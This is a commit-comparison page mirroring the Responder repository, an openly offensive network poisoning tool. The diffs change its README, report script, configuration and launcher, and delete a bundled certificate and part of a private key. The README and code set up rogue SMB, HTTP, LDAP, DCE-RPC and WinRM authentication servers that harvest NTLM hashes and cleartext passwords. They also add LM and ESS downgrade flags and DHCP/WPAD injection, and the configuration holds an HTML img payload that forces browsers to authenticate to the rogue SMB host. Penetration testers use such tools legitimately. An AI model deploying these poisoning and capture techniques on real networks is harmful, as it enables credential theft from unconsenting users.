mirror of
https://github.com/lgandx/Responder.git
synced 2025-12-16 12:49:03 +00:00
Compare commits
42 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
d425783be9 | ||
|
|
de778f6698 | ||
|
|
21afd357f8 | ||
|
|
a567d3dc31 | ||
|
|
f90b76fed2 | ||
|
|
51411e6b20 | ||
|
|
826b5af9e2 | ||
|
|
29ae6eca2e | ||
|
|
a462d1df06 | ||
|
|
110f565bbd | ||
|
|
88a2c6a53b | ||
|
|
1dfa997da8 | ||
|
|
0bf23d632b | ||
|
|
02fb3f8978 | ||
|
|
1b2a22facf | ||
|
|
7bdfe7bbdd | ||
|
|
c449b6bcb9 | ||
|
|
88ea72908c | ||
|
|
3fe574683b | ||
|
|
dcb80d992e | ||
|
|
51f8ab4368 | ||
|
|
baf80aa4f0 | ||
|
|
ae1c2be51c | ||
|
|
4231532926 | ||
|
|
350058c179 | ||
|
|
79dfe8ebd0 | ||
|
|
85315442bd | ||
|
|
35a02e389b | ||
|
|
b779d1b494 | ||
|
|
53d66e3816 | ||
|
|
72070a02eb | ||
|
|
465f730846 | ||
|
|
0b669c305d | ||
|
|
8f74fdaf46 | ||
|
|
e91e37c974 | ||
|
|
027e6b95c3 | ||
|
|
7d96fa95c4 | ||
|
|
51f176633e | ||
|
|
3d9147f36c | ||
|
|
f4c11111a7 | ||
|
|
c33da69a8b | ||
|
|
e8e3f155f2 |
35
README.md
Normal file → Executable file
35
README.md
Normal file → Executable file
@@ -10,21 +10,21 @@ Author: Laurent Gaffie <laurent.gaffie@gmail.com > https://g-laurent.blogspot.c
|
|||||||
|
|
||||||
Responder is an LLMNR, NBT-NS and MDNS poisoner. It will answer to *specific* NBT-NS (NetBIOS Name Service) queries based on their name suffix (see: http://support.microsoft.com/kb/163409). By default, the tool will only answer to File Server Service request, which is for SMB.
|
Responder is an LLMNR, NBT-NS and MDNS poisoner. It will answer to *specific* NBT-NS (NetBIOS Name Service) queries based on their name suffix (see: http://support.microsoft.com/kb/163409). By default, the tool will only answer to File Server Service request, which is for SMB.
|
||||||
|
|
||||||
The concept behind this is to target our answers, and be stealthier on the network. This also helps to ensure that we don't break legitimate NBT-NS behavior. You can set the -r option via command line if you want to answer to the Workstation Service request name suffix.
|
The concept behind this is to target our answers, and be stealthier on the network. This also helps to ensure that we don't break legitimate NBT-NS behavior. You can set the -r option via command line if you want to answer to the Workstation Service request name suffix. The option -d is also available if you want to poison Domain Service name queries.
|
||||||
|
|
||||||
## Features ##
|
## Features ##
|
||||||
|
|
||||||
- Built-in SMB Auth server.
|
- Built-in SMB Auth server.
|
||||||
|
|
||||||
Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default. Successfully tested from Windows 95 to Server 2012 RC, Samba and Mac OSX Lion. Clear text password is supported for NT4, and LM hashing downgrade when the --lm option is set. SMBv2 has also been implemented and is supported by default.
|
Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default. Successfully tested from Windows 95 to Server 2022, Samba and Mac OSX Lion. Clear text password is supported for NT4, and LM hashing downgrade when the --lm option is set. If --disable-ess is set, extended session security will be disabled for NTLMv1 authentication. SMBv2 has also been implemented and is supported by default.
|
||||||
|
|
||||||
- Built-in MSSQL Auth server.
|
- Built-in MSSQL Auth server.
|
||||||
|
|
||||||
In order to redirect SQL Authentication to this tool, you will need to set the option -r (NBT-NS queries for SQL Server lookup are using the Workstation Service name suffix) for systems older than windows Vista (LLMNR will be used for Vista and higher). This server supports NTLMv1, LMv2 hashes. This functionality was successfully tested on Windows SQL Server 2005 & 2008.
|
In order to redirect SQL Authentication to this tool, you will need to set the option -r (NBT-NS queries for SQL Server lookup are using the Workstation Service name suffix) for systems older than windows Vista (LLMNR will be used for Vista and higher). This server supports NTLMv1, LMv2 hashes. This functionality was successfully tested on Windows SQL Server 2005, 2008, 2012, 2019.
|
||||||
|
|
||||||
- Built-in HTTP Auth server.
|
- Built-in HTTP Auth server.
|
||||||
|
|
||||||
In order to redirect HTTP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for HTTP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server was successfully tested on IE 6 to IE 10, Firefox, Chrome, Safari.
|
In order to redirect HTTP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for HTTP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server was successfully tested on IE 6 to IE 11, Edge, Firefox, Chrome, Safari.
|
||||||
|
|
||||||
Note: This module also works for WebDav NTLM authentication issued from Windows WebDav clients (WebClient). You can now send your custom files to a victim.
|
Note: This module also works for WebDav NTLM authentication issued from Windows WebDav clients (WebClient). You can now send your custom files to a victim.
|
||||||
|
|
||||||
@@ -34,7 +34,11 @@ Same as above. The folder certs/ contains 2 default keys, including a dummy pri
|
|||||||
|
|
||||||
- Built-in LDAP Auth server.
|
- Built-in LDAP Auth server.
|
||||||
|
|
||||||
In order to redirect LDAP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for HTTP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMSSP hashes and Simple Authentication (clear text authentication). This server was successfully tested on Windows Support tool "ldp" and LdapAdmin.
|
In order to redirect LDAP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for LDAP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMSSP hashes and Simple Authentication (clear text authentication). This server was successfully tested on Windows Support tool "ldp" and LdapAdmin.
|
||||||
|
|
||||||
|
- Built-in DCE-RPC Auth server.
|
||||||
|
|
||||||
|
In order to redirect DCE-RPC Authentication to this tool, you will need to set the option -r and -d (NBT-NS queries for DCE-RPC server lookup are sent using the Workstation and Domain Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMSSP hashes. This server was successfully tested on Windows XP to Server 2019.
|
||||||
|
|
||||||
- Built-in FTP, POP3, IMAP, SMTP Auth servers.
|
- Built-in FTP, POP3, IMAP, SMTP Auth servers.
|
||||||
|
|
||||||
@@ -42,7 +46,7 @@ This modules will collect clear text credentials.
|
|||||||
|
|
||||||
- Built-in DNS server.
|
- Built-in DNS server.
|
||||||
|
|
||||||
This server will answer type A queries. This is really handy when it's combined with ARP spoofing.
|
This server will answer type SRV and A queries. This is really handy when it's combined with ARP spoofing.
|
||||||
|
|
||||||
- Built-in WPAD Proxy Server.
|
- Built-in WPAD Proxy Server.
|
||||||
|
|
||||||
@@ -66,7 +70,7 @@ For MITM on Windows XP/2003 and earlier Domain members. This attack combined wit
|
|||||||
|
|
||||||
python tools/DHCP.py
|
python tools/DHCP.py
|
||||||
|
|
||||||
DHCP Inform Spoofing. Allows you to let the real DHCP Server issue IP addresses, and then send a DHCP Inform answer to set your IP address as a primary DNS server, and your own WPAD URL.
|
DHCP Inform Spoofing. Allows you to let the real DHCP Server issue IP addresses, and then send a DHCP Inform answer to set your IP address as a primary DNS server, and your own WPAD URL. To inject a DNS server, domain, route on all Windows version and any linux box, use -R
|
||||||
|
|
||||||
- Analyze mode.
|
- Analyze mode.
|
||||||
|
|
||||||
@@ -81,7 +85,7 @@ All hashes are printed to stdout and dumped in a unique John Jumbo compliant fil
|
|||||||
Log files are located in the "logs/" folder. Hashes will be logged and printed only once per user per hash type, unless you are using the Verbose mode (-v).
|
Log files are located in the "logs/" folder. Hashes will be logged and printed only once per user per hash type, unless you are using the Verbose mode (-v).
|
||||||
|
|
||||||
- Responder will log all its activity to Responder-Session.log
|
- Responder will log all its activity to Responder-Session.log
|
||||||
- Analyze mode will be logged to Analyze-Session.log
|
- Analyze mode will be logged to Analyzer-Session.log
|
||||||
- Poisoning will be logged to Poisoners-Session.log
|
- Poisoning will be logged to Poisoners-Session.log
|
||||||
|
|
||||||
Additionally, all captured hashed are logged into an SQLite database which you can configure in Responder.conf
|
Additionally, all captured hashed are logged into an SQLite database which you can configure in Responder.conf
|
||||||
@@ -89,7 +93,7 @@ Additionally, all captured hashed are logged into an SQLite database which you c
|
|||||||
|
|
||||||
## Considerations ##
|
## Considerations ##
|
||||||
|
|
||||||
- This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, UDP 1434, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128, Multicast UDP 5355 and 5353.
|
- This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, UDP 1434, TCP 80, TCP 135, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128, Multicast UDP 5355 and 5353.
|
||||||
|
|
||||||
- If you run Samba on your system, stop smbd and nmbd and all other services listening on these ports.
|
- If you run Samba on your system, stop smbd and nmbd and all other services listening on these ports.
|
||||||
|
|
||||||
@@ -159,6 +163,7 @@ Options:
|
|||||||
with -r. Default: Off
|
with -r. Default: Off
|
||||||
--lm Force LM hashing downgrade for Windows XP/2003 and
|
--lm Force LM hashing downgrade for Windows XP/2003 and
|
||||||
earlier. Default: Off
|
earlier. Default: Off
|
||||||
|
--disable-ess Force ESS downgrade. Default: Off
|
||||||
-v, --verbose Increase verbosity.
|
-v, --verbose Increase verbosity.
|
||||||
|
|
||||||
|
|
||||||
@@ -176,9 +181,11 @@ Or BTC address:
|
|||||||
|
|
||||||
Late Responder development has been possible because of the donations received from individuals and companies.
|
Late Responder development has been possible because of the donations received from individuals and companies.
|
||||||
|
|
||||||
We would like to thanks those major donator:
|
We would like to thanks those major sponsors:
|
||||||
|
|
||||||
- SecureWorks : https://www.secureworks.com/
|
- SecureWorks: https://www.secureworks.com/
|
||||||
|
|
||||||
|
- Synacktiv: https://www.synacktiv.com/
|
||||||
|
|
||||||
- Black Hills Information Security: http://www.blackhillsinfosec.com/
|
- Black Hills Information Security: http://www.blackhillsinfosec.com/
|
||||||
|
|
||||||
@@ -192,6 +199,12 @@ We would like to thanks those major donator:
|
|||||||
|
|
||||||
Thank you.
|
Thank you.
|
||||||
|
|
||||||
|
## Official Discord Channel
|
||||||
|
|
||||||
|
Come hang out on Discord!
|
||||||
|
|
||||||
|
[](https://discord.gg/sEkn3aa)
|
||||||
|
|
||||||
## Copyright ##
|
## Copyright ##
|
||||||
|
|
||||||
NBT-NS/LLMNR Responder
|
NBT-NS/LLMNR Responder
|
||||||
|
|||||||
34
Report.py
34
Report.py
@@ -31,6 +31,10 @@ def DbConnect():
|
|||||||
cursor = sqlite3.connect("./Responder.db")
|
cursor = sqlite3.connect("./Responder.db")
|
||||||
return cursor
|
return cursor
|
||||||
|
|
||||||
|
def FingerDbConnect():
|
||||||
|
cursor = sqlite3.connect("./tools/RunFinger.db")
|
||||||
|
return cursor
|
||||||
|
|
||||||
def GetResponderData(cursor):
|
def GetResponderData(cursor):
|
||||||
res = cursor.execute("SELECT * FROM Responder")
|
res = cursor.execute("SELECT * FROM Responder")
|
||||||
for row in res.fetchall():
|
for row in res.fetchall():
|
||||||
@@ -39,7 +43,7 @@ def GetResponderData(cursor):
|
|||||||
def GetResponderUsernamesStatistic(cursor):
|
def GetResponderUsernamesStatistic(cursor):
|
||||||
res = cursor.execute("SELECT COUNT(DISTINCT UPPER(user)) FROM Responder")
|
res = cursor.execute("SELECT COUNT(DISTINCT UPPER(user)) FROM Responder")
|
||||||
for row in res.fetchall():
|
for row in res.fetchall():
|
||||||
print(color('[+] In total {0} unique user accounts were captured.'.format(row[0]), code = 2, modifier = 1))
|
print(color('\n[+] In total {0} unique user accounts were captured.'.format(row[0]), code = 2, modifier = 1))
|
||||||
|
|
||||||
def GetResponderUsernames(cursor):
|
def GetResponderUsernames(cursor):
|
||||||
res = cursor.execute("SELECT DISTINCT user FROM Responder")
|
res = cursor.execute("SELECT DISTINCT user FROM Responder")
|
||||||
@@ -62,11 +66,20 @@ def GetUniqueLookups(cursor):
|
|||||||
for row in res.fetchall():
|
for row in res.fetchall():
|
||||||
print('IP: {0}, Protocol: {1}, Looking for name: {2}'.format(row[2], row[1], row[3]))
|
print('IP: {0}, Protocol: {1}, Looking for name: {2}'.format(row[2], row[1], row[3]))
|
||||||
|
|
||||||
|
def GetUniqueDHCP(cursor):
|
||||||
|
res = cursor.execute("SELECT * FROM DHCP WHERE MAC in (SELECT DISTINCT UPPER(MAC) FROM DHCP)")
|
||||||
|
for row in res.fetchall():
|
||||||
|
print('MAC: {0}, IP: {1}, RequestedIP: {2}'.format(row[1], row[2], row[3]))
|
||||||
|
|
||||||
|
def GetRunFinger(cursor):
|
||||||
|
res = cursor.execute("SELECT * FROM RunFinger WHERE Host in (SELECT DISTINCT Host FROM RunFinger)")
|
||||||
|
for row in res.fetchall():
|
||||||
|
print(("{},['{}', Os:'{}', Build:'{}', Domain:'{}', Bootime:'{}', Signing:'{}', Null Session: '{}', RDP:'{}']".format(row[1], row[2], row[3], row[4], row[5], row[6], row[7], row[8], row[9])))
|
||||||
|
|
||||||
def GetStatisticUniqueLookups(cursor):
|
def GetStatisticUniqueLookups(cursor):
|
||||||
res = cursor.execute("SELECT COUNT(*) FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned)")
|
res = cursor.execute("SELECT COUNT(*) FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned)")
|
||||||
for row in res.fetchall():
|
for row in res.fetchall():
|
||||||
print(color('[+] In total {0} unique queries were poisoned.'.format(row[0]), code = 2, modifier = 1))
|
print(color('\n[+] In total {0} unique queries were poisoned.'.format(row[0]), code = 2, modifier = 1))
|
||||||
|
|
||||||
|
|
||||||
def SavePoisonersToDb(result):
|
def SavePoisonersToDb(result):
|
||||||
@@ -82,8 +95,11 @@ def SaveToDb(result):
|
|||||||
result[k] = ''
|
result[k] = ''
|
||||||
|
|
||||||
cursor = DbConnect()
|
cursor = DbConnect()
|
||||||
print(color("[+] Generating report...", code = 3, modifier = 1))
|
print(color("[+] Generating report...\n", code = 3, modifier = 1))
|
||||||
print(color("[+] Unique lookups ordered by IP:", code = 2, modifier = 1))
|
|
||||||
|
print(color("[+] DHCP Query Poisoned:", code = 2, modifier = 1))
|
||||||
|
GetUniqueDHCP(cursor)
|
||||||
|
print(color("\n[+] Unique lookups ordered by IP:", code = 2, modifier = 1))
|
||||||
GetUniqueLookups(cursor)
|
GetUniqueLookups(cursor)
|
||||||
GetStatisticUniqueLookups(cursor)
|
GetStatisticUniqueLookups(cursor)
|
||||||
print(color("\n[+] Extracting captured usernames:", code = 2, modifier = 1))
|
print(color("\n[+] Extracting captured usernames:", code = 2, modifier = 1))
|
||||||
@@ -91,5 +107,11 @@ GetResponderUsernames(cursor)
|
|||||||
print(color("\n[+] Username details:", code = 2, modifier = 1))
|
print(color("\n[+] Username details:", code = 2, modifier = 1))
|
||||||
GetResponderUsernamesWithDetails(cursor)
|
GetResponderUsernamesWithDetails(cursor)
|
||||||
GetResponderUsernamesStatistic(cursor)
|
GetResponderUsernamesStatistic(cursor)
|
||||||
#print color("\n[+] Captured hashes:", code = 2, modifier = 1)
|
print color("\n[+] RunFinger Scanned Hosts:", code = 2, modifier = 1)
|
||||||
#GetResponderCompleteHash(cursor)
|
cursor.close()
|
||||||
|
try:
|
||||||
|
cursor = FingerDbConnect()
|
||||||
|
GetRunFinger(cursor)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
print('\n')
|
||||||
|
|||||||
11
Responder.conf
Normal file → Executable file
11
Responder.conf
Normal file → Executable file
@@ -13,6 +13,8 @@ HTTP = On
|
|||||||
HTTPS = On
|
HTTPS = On
|
||||||
DNS = On
|
DNS = On
|
||||||
LDAP = On
|
LDAP = On
|
||||||
|
DCERPC = On
|
||||||
|
WINRM = On
|
||||||
|
|
||||||
; Custom challenge.
|
; Custom challenge.
|
||||||
; Use "Random" for generating a random challenge for each requests (Default)
|
; Use "Random" for generating a random challenge for each requests (Default)
|
||||||
@@ -42,6 +44,7 @@ RespondTo =
|
|||||||
; Example: RespondTo = WPAD, DEV, PROD, SQLINT
|
; Example: RespondTo = WPAD, DEV, PROD, SQLINT
|
||||||
;RespondToName = WPAD, DEV, PROD, SQLINT
|
;RespondToName = WPAD, DEV, PROD, SQLINT
|
||||||
RespondToName =
|
RespondToName =
|
||||||
|
|
||||||
; Specific IP Addresses not to respond to (default = None)
|
; Specific IP Addresses not to respond to (default = None)
|
||||||
; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10
|
; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10
|
||||||
DontRespondTo =
|
DontRespondTo =
|
||||||
@@ -86,12 +89,12 @@ ExeFilename = ;files/filetoserve.exe
|
|||||||
ExeDownloadName = ProxyClient.exe
|
ExeDownloadName = ProxyClient.exe
|
||||||
|
|
||||||
; Custom WPAD Script
|
; Custom WPAD Script
|
||||||
WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "ProxySrv")||shExpMatch(host, "(*.ProxySrv|ProxySrv)")) return "DIRECT"; return 'PROXY ProxySrv:3128; PROXY ProxySrv:3141; DIRECT';}
|
; Only set one if you really know what you're doing. Responder is taking care of that and inject the right one, with your current IP address.
|
||||||
|
WPADScript =
|
||||||
|
|
||||||
; HTML answer to inject in HTTP responses (before </body> tag).
|
; HTML answer to inject in HTTP responses (before </body> tag).
|
||||||
; Set to an empty string to disable.
|
; leave empty if you want to use the default one (redirect to SMB on your IP address).
|
||||||
; In this example, we redirect make users' browsers issue a request to our rogue SMB server.
|
HTMLToInject =
|
||||||
HTMLToInject = <img src='file://///RespProxySrv/pictures/logso.jpg' alt='Loading' height='1' width='1'>
|
|
||||||
|
|
||||||
[HTTPS Server]
|
[HTTPS Server]
|
||||||
|
|
||||||
|
|||||||
32
Responder.py
32
Responder.py
@@ -1,4 +1,4 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python3
|
||||||
# This file is part of Responder, a network take-over set of tools
|
# This file is part of Responder, a network take-over set of tools
|
||||||
# created and maintained by Laurent Gaffie.
|
# created and maintained by Laurent Gaffie.
|
||||||
# email: laurent.gaffie@gmail.com
|
# email: laurent.gaffie@gmail.com
|
||||||
@@ -31,10 +31,9 @@ parser.add_option('-I','--interface', action="store", help="Network in
|
|||||||
parser.add_option('-i','--ip', action="store", help="Local IP to use \033[1m\033[31m(only for OSX)\033[0m", dest="OURIP", metavar="10.0.0.21", default=None)
|
parser.add_option('-i','--ip', action="store", help="Local IP to use \033[1m\033[31m(only for OSX)\033[0m", dest="OURIP", metavar="10.0.0.21", default=None)
|
||||||
|
|
||||||
parser.add_option('-e', "--externalip", action="store", help="Poison all requests with another IP address than Responder's one.", dest="ExternalIP", metavar="10.0.0.22", default=None)
|
parser.add_option('-e', "--externalip", action="store", help="Poison all requests with another IP address than Responder's one.", dest="ExternalIP", metavar="10.0.0.22", default=None)
|
||||||
|
|
||||||
parser.add_option('-b', '--basic', action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False)
|
parser.add_option('-b', '--basic', action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False)
|
||||||
parser.add_option('-r', '--wredir', action="store_true", help="Enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network. Default: False", dest="Wredirect", default=False)
|
parser.add_option('-r', '--wredir', action="store_true", help="Enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network. Default: False", dest="Wredirect", default=False)
|
||||||
parser.add_option('-d', '--NBTNSdomain', action="store_true", help="Enable answers for netbios domain suffix queries. Answering to domain suffixes will likely break stuff on the network. Default: False", dest="NBTNSDomain", default=False)
|
parser.add_option('-d', '--DHCP', action="store_true", help="Enable answers for DHCP broadcast requests. This option will inject a WPAD server in the DHCP response. Default: False", dest="DHCP_On_Off", default=False)
|
||||||
parser.add_option('-f','--fingerprint', action="store_true", help="This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.", dest="Finger", default=False)
|
parser.add_option('-f','--fingerprint', action="store_true", help="This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.", dest="Finger", default=False)
|
||||||
parser.add_option('-w','--wpad', action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False)
|
parser.add_option('-w','--wpad', action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False)
|
||||||
parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None)
|
parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None)
|
||||||
@@ -43,13 +42,14 @@ parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM
|
|||||||
parser.add_option('-P','--ProxyAuth', action="store_true", help="Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective when combined with -r. Default: False", dest="ProxyAuth_On_Off", default=False)
|
parser.add_option('-P','--ProxyAuth', action="store_true", help="Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective when combined with -r. Default: False", dest="ProxyAuth_On_Off", default=False)
|
||||||
|
|
||||||
parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False)
|
parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False)
|
||||||
|
parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False)
|
||||||
parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose")
|
parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose")
|
||||||
options, args = parser.parse_args()
|
options, args = parser.parse_args()
|
||||||
|
|
||||||
if not os.geteuid() == 0:
|
if not os.geteuid() == 0:
|
||||||
print(color("[!] Responder must be run as root."))
|
print(color("[!] Responder must be run as root."))
|
||||||
sys.exit(-1)
|
sys.exit(-1)
|
||||||
elif options.OURIP is None and IsOsX() is True:
|
elif options.OURIP == None and IsOsX() == True:
|
||||||
print("\n\033[1m\033[31mOSX detected, -i mandatory option is missing\033[0m\n")
|
print("\n\033[1m\033[31mOSX detected, -i mandatory option is missing\033[0m\n")
|
||||||
parser.print_help()
|
parser.print_help()
|
||||||
exit(-1)
|
exit(-1)
|
||||||
@@ -61,9 +61,6 @@ StartupMessage()
|
|||||||
|
|
||||||
settings.Config.ExpandIPRanges()
|
settings.Config.ExpandIPRanges()
|
||||||
|
|
||||||
if settings.Config.AnalyzeMode:
|
|
||||||
print(color('[i] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1))
|
|
||||||
|
|
||||||
#Create the DB, before we start Responder.
|
#Create the DB, before we start Responder.
|
||||||
CreateResponderDb()
|
CreateResponderDb()
|
||||||
|
|
||||||
@@ -262,6 +259,14 @@ def main():
|
|||||||
from servers.HTTP import HTTP
|
from servers.HTTP import HTTP
|
||||||
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 80, HTTP,)))
|
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 80, HTTP,)))
|
||||||
|
|
||||||
|
if settings.Config.WinRM_On_Off:
|
||||||
|
from servers.WinRM import WinRM
|
||||||
|
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 5985, WinRM,)))
|
||||||
|
|
||||||
|
if settings.Config.WinRM_On_Off:
|
||||||
|
from servers.WinRM import WinRM
|
||||||
|
threads.append(Thread(target=serve_thread_SSL, args=(settings.Config.Bind_To, 5986, WinRM,)))
|
||||||
|
|
||||||
if settings.Config.SSL_On_Off:
|
if settings.Config.SSL_On_Off:
|
||||||
from servers.HTTP import HTTP
|
from servers.HTTP import HTTP
|
||||||
threads.append(Thread(target=serve_thread_SSL, args=(settings.Config.Bind_To, 443, HTTP,)))
|
threads.append(Thread(target=serve_thread_SSL, args=(settings.Config.Bind_To, 443, HTTP,)))
|
||||||
@@ -270,6 +275,11 @@ def main():
|
|||||||
from servers.RDP import RDP
|
from servers.RDP import RDP
|
||||||
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 3389, RDP,)))
|
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 3389, RDP,)))
|
||||||
|
|
||||||
|
if settings.Config.DCERPC_On_Off:
|
||||||
|
from servers.RPC import RPCMap, RPCMapper
|
||||||
|
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 135, RPCMap,)))
|
||||||
|
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, settings.Config.RPCPort, RPCMapper,)))
|
||||||
|
|
||||||
if settings.Config.WPAD_On_Off:
|
if settings.Config.WPAD_On_Off:
|
||||||
from servers.HTTP_Proxy import HTTP_Proxy
|
from servers.HTTP_Proxy import HTTP_Proxy
|
||||||
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 3141, HTTP_Proxy,)))
|
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 3141, HTTP_Proxy,)))
|
||||||
@@ -329,8 +339,16 @@ def main():
|
|||||||
thread.setDaemon(True)
|
thread.setDaemon(True)
|
||||||
thread.start()
|
thread.start()
|
||||||
|
|
||||||
|
|
||||||
print(color('\n[+]', 2, 1) + " Listening for events...\n")
|
print(color('\n[+]', 2, 1) + " Listening for events...\n")
|
||||||
|
|
||||||
|
if settings.Config.AnalyzeMode:
|
||||||
|
print(color('[+] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1))
|
||||||
|
|
||||||
|
if settings.Config.DHCP_On_Off:
|
||||||
|
from poisoners.DHCP import DHCP
|
||||||
|
DHCP()
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
time.sleep(1)
|
time.sleep(1)
|
||||||
|
|
||||||
|
|||||||
4
certs/gen-self-signed-cert.sh
Normal file → Executable file
4
certs/gen-self-signed-cert.sh
Normal file → Executable file
@@ -1,3 +1,3 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
openssl genrsa -out responder.key 2048
|
openssl genrsa -out certs/responder.key 2048
|
||||||
openssl req -new -x509 -days 3650 -key responder.key -out responder.crt -subj "/"
|
openssl req -new -x509 -days 3650 -key certs/responder.key -out certs/responder.crt -subj "/"
|
||||||
|
|||||||
@@ -1,18 +0,0 @@
|
|||||||
-----BEGIN CERTIFICATE-----
|
|
||||||
MIIC4TCCAcmgAwIBAgIUO+GAjgRhHP9zb1avAb9yg8JyGOgwDQYJKoZIhvcNAQEL
|
|
||||||
BQAwADAeFw0xOTA4MTYyMjA2MTFaFw0yOTA4MTMyMjA2MTFaMAAwggEiMA0GCSqG
|
|
||||||
SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDVvbov/KiK+Xbv/bhGQBlgb9eVqIFDtTPd
|
|
||||||
0ZlLNOhRuHRUbw3XC3q3gPerfSE9ANeFUKfHpSUUA5AU4hjMSBMX1iUVR+OKgzTK
|
|
||||||
czE4kAJe1ZJpiB8TU6FBapQwOPv9M463BOQQ8lfmX+EWerT+XniMFAmxf8FS7e4/
|
|
||||||
V7JZbon7uU18fc6H8KxVaNCEM382SpL39zU7qRNVG65Jf4MejJZEk30GMC4m22Fb
|
|
||||||
to6f/WS1NBk4HMdLClyXZngPY0idCuCZX3KBQvYpS3e1gEBsUPV0fZBz/GnvoE4o
|
|
||||||
qTia83QJAkjZ0r77/NAptihsXrqB2VDuR6aP5Bf/YFr/U4H9y01lAgMBAAGjUzBR
|
|
||||||
MB0GA1UdDgQWBBTs2vL9sLFs/p78FXHfgz7Zk8ZEwTAfBgNVHSMEGDAWgBTs2vL9
|
|
||||||
sLFs/p78FXHfgz7Zk8ZEwTAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUA
|
|
||||||
A4IBAQBIYrRgmGhAQr+VmyqSQcxYWW0GWKvGQwz5t1A8AoBe8d3SDb1mb/Lq/POx
|
|
||||||
jnF67dAifYbTzz6JWsxCFED2UP8OL3oij0dWTfvGO//6nwhVss2Or0WTdxkSQVE4
|
|
||||||
p4CElQYjvoYYhxuDzO3HsxqHBtxMOT+8fO/07aInxVWEtvmflNo3mxE4P7w6D8g5
|
|
||||||
v2jZNf8EjTDQOF90kjkGGhTU7j9hRewfxzBZZOvaHA+/XczJ3fARpdYrvtFvvjnH
|
|
||||||
Da1WjQDQhSLufZYcFrzd4i6pyXQYzevjgHSeFSJt78Hr0BxMkKzLAhsFmS6fiULm
|
|
||||||
iKqwycWcwlFFUDbwBuOyfbfwjtUf
|
|
||||||
-----END CERTIFICATE-----
|
|
||||||
@@ -1,27 +0,0 @@
|
|||||||
-----BEGIN RSA PRIVATE KEY-----
|
|
||||||
MIIEpQIBAAKCAQEA1b26L/yoivl27/24RkAZYG/XlaiBQ7Uz3dGZSzToUbh0VG8N
|
|
||||||
1wt6t4D3q30hPQDXhVCnx6UlFAOQFOIYzEgTF9YlFUfjioM0ynMxOJACXtWSaYgf
|
|
||||||
E1OhQWqUMDj7/TOOtwTkEPJX5l/hFnq0/l54jBQJsX/BUu3uP1eyWW6J+7lNfH3O
|
|
||||||
